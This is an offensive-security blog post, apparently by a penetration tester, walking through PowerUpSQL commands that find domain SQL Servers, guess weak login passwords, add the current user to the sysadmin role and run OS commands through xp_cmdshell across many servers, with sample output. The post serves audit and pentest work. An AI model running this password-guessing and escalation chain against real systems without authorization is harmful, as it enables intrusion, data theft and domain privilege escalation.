In this blog, I’ll show how to use PowerUpSQL to quickly identify SQL logins configured with weak passwords on domain SQL Servers, using a standard domain account. We’ve used the techniques described below to obtain access to sensitive data and elevate privileges on SQL Servers. In many cases, the identified weak passwords also lead to domain privilege escalation via sysadmin access.

Hopefully this blog will be interesting to pentesters, red teamers, and administrators looking for another tool for auditing their SQL Servers for weak configurations.

Finding Domain SQL Servers to Log Into

I touched on how to do this in another blog, so I’ve only provided a summary of the PowerUpSQL commands below. For more information on how to discover accessible SQL Servers check out https://blog.netspi.com/blindly-discover-sql-server-instances-powerupsql/.

  1. Download PowerUpSQL.
    https://github.com/NetSPI/PowerUpSQL
  2. Import the Module
    PS C:\> Import-Module PowerUpSQL.psd1
  3. Get a list of accessible SQL Servers on the domain.
    PS C:\> $Servers = Get-SQLInstanceDomain –Verbose | Get-SQLConnectionTestThreaded –Verbose -Threads 10
  4. View accessible servers
    PS C:\> $Accessible = $Servers | Where-Object {$_.Status –eq “Accessible”}
    PS C:\> $Accessible
    
    ComputerName   Instance                       Status    
    ------------   --------                       ------    
    SQLServer1     SQLServer1\SQLEXPRESS          Accessible
    SQLServer1     SQLServer1\STANDARDDEV2014     Accessible
    SQLServer1     SQLServer1                     Accessible

Enumerating SQL Logins as a Domain User

By default, non-sysadmin logins in SQL Server don’t have privileges to select a list of SQL logins from the standard tables. However, functions exist in SQL Server that allow least privilege logins to do it anyways using basic fuzzing techniques. That means any user that can log into SQL Server can get a full user list. For the details check out this blog.

The PowerUpSQL “Invoke-SQLAuditWeakLoginPw” function can be used to automatically fuzz login names and attempt to identify weak passwords. By default, the function will only test the login as the password, and “password” as the password. So only two passwords will be attempted for each enumerated login. However, custom user and password lists can be provided.

At first glance this doesn’t seem like a big deal. However, in large environments this simple attack has been yielding hundreds of weak passwords on accessible SQL Servers using normal domain user accounts.

Identifying Weak SQL Server Passwords on Scale using PowerUpSQL

Below are a few examples showing how to use the “Invoke-SQLAuditWeakLoginPw” function with the accessible SQL Server list we obtained in the last section.

Note: All of the examples shown are run as the current Windows user, but alternative SQL Server login credentials can be provided.

PS C:\>; $Accessible | Invoke-SQLAuditWeakLoginPw –Verbose

ComputerName  : SQLServer1
Instance      : SQLServer1EXPRESS
Vulnerability : Weak Login Password
Description   : One or more SQL Server logins is configured with a weak password.  This may provide unauthorized access to resources the affected logins have access to.
Remediation   : Ensure all SQL Server logins are required to use a strong password. Considered inheriting the OS password policy.
Severity      : High
IsVulnerable  : Yes
IsExploitable : Yes
 Exploited     : No
ExploitCmd    : Use the affected credentials to log into the SQL Server, or rerun this command with -Exploit.
Details       : The testuser (Not Sysadmin) is configured with the password testuser.
Reference     : https://msdn.microsoft.com/en-us/library/ms161959.aspx
Author        : Scott Sutherland (@_nullbind), NetSPI 2016

ComputerName  : SQLServer1
Instance      : SQLServer1Express
Vulnerability : Weak Login Password
Description   : One or more SQL Server logins is configured with a weak password.  This may provide unauthorized access to resources the affected logins have access to.
Remediation   : Ensure all SQL Server logins are required to use a strong password. Considered inheriting the OS password policy.
Severity      : High
IsVulnerable  : Yes
IsExploitable : Yes
Exploited     : No
ExploitCmd    : Use the affected credentials to log into the SQL Server, or rerun this command with -Exploit.
Details       : The testadmin (Sysadmin) is configured with the password testadmin.
Reference     : https://msdn.microsoft.com/en-us/library/ms161959.aspx
Author        : Scott Sutherland (@_nullbind), NetSPI 2016

The function also supports automatically adding your current login to the sysadmin fixed server role if a sysadmin password is guessed by the script. Below is an example.

PS C:\> Invoke-SQLAuditWeakLoginPw –Verbose –Instance serverinstance –Exploit

..[snip]..

ComputerName  : SQLServer1
Instance      : SQLServer1Express
Vulnerability : Weak Login Password
Description   : One or more SQL Server logins is configured with a weak password.  This may provide unauthorized access to resources the affected logins have access to.
Remediation   : Ensure all SQL Server logins are required to use a strong password. Considered inheriting the OS password policy.
Severity      : High
IsVulnerable  : Yes
IsExploitable : Yes
Exploited     : Yes
ExploitCmd    : Use the affected credentials to log into the SQL Server, or rerun this command with -Exploit.
Details       : The testadmin (Sysadmin) is configured with the password testadmin.
Reference     : https://msdn.microsoft.com/en-us/library/ms161959.aspx
Author        : Scott Sutherland (@_nullbind), NetSPI 2016

..[snip]..

Or you could attempt to add yourself as a sysadmin on all accessible servers…

PS C:\> $Accessible | Invoke-SQLAuditWeakLoginPw –Verbose –Exploit

Executing OS Commands on SQL Servers with PowerUpSQL

If you were able to escalate privileges using the commands from the previous section then you’re ready to execute OS commands on the SQL Server. The local and domain privileges you’ll have will vary depending on the SQL Server service account being used. It’s very common to see a single domain account being used to run a large portion of the SQL Servers in the environment. However, it’s also very common for SQL Servers to be configured to run as LocalSystem or a managed service account.

Below is the PowerUpSQL example showing how to execute OS commands on affected SQL Servers:

PS C:\> Invoke-SQLOSCmd –Verbose –Instance SQLServer1Express –Command “dir c:\windows\system32\Drivers\etc” –RawResults

VERBOSE: Creating runspace pool and session states
VERBOSE: SQLSERVER1EXPRESS: Connection Success.
VERBOSE: SQLSERVER1EXPRESS: You are a sysadmin.
VERBOSE: SQLSERVER1EXPRESS: Show Advanced Options is already enabled.
VERBOSE: SQLSERVER1EXPRESS: xp_cmdshell is already enabled.
VERBOSE: SQLSERVER1EXPRESS: Running command: dir c:\windows\system32\Drivers\etc
 Volume in drive C is OSDisk
 Volume Serial Number is C044-F8BC
 Directory of c:\windows\system32\Drivers\etc
07/16/2016  08:42 PM    <DIR>          .
07/16/2016  08:42 PM    <DIR>          ..
09/22/2015  10:16 AM               851 hosts
08/22/2013  10:35 AM             3,683 lmhosts.sam
08/22/2013  08:25 AM               407 networks
08/22/2013  08:25 AM             1,358 protocol
08/22/2013  08:25 AM            17,463 services
               5 File(s)         23,762 bytes
               2 Dir(s)  142,140,887,040 bytes free
VERBOSE: Closing the runspace pool

Or if you would like to run commands on multiple servers you can use the example below.

PS C:\>$Accessible | Invoke-SQLOSCmd –Verbose –Command “whoami” –Threads 10

ComputerName   Instance                       CommandResults              
------------   --------                       --------------                   
SQLServer1     SQLServer1\SQLEXPRESS          nt service\mssql$sqlexpress
SQLServer1     SQLServer1\STANDARDDEV2014     nt authority\system         
SQLServer1     SQLServer1                     DomainSQLSvc

Wrap Up

In this blog, I provided an overview of how to use the PowerUpSQL function “Invoke-SQLAuditWeakLoginPw” to quickly identify SQL Server logins configured with weak passwords on ADS domains. While the function doesn’t offer any new techniques, it does provide more automation than the scripts I’ve provided in the past. As a result, it has potential to provide unauthorized data access and additional domain privileges in most large environments. It’s also worth noting that the “Invoke-SQLEscalatePriv” function attempts to exploit this issue along with others when it’s run.

Good luck and hack responsibility!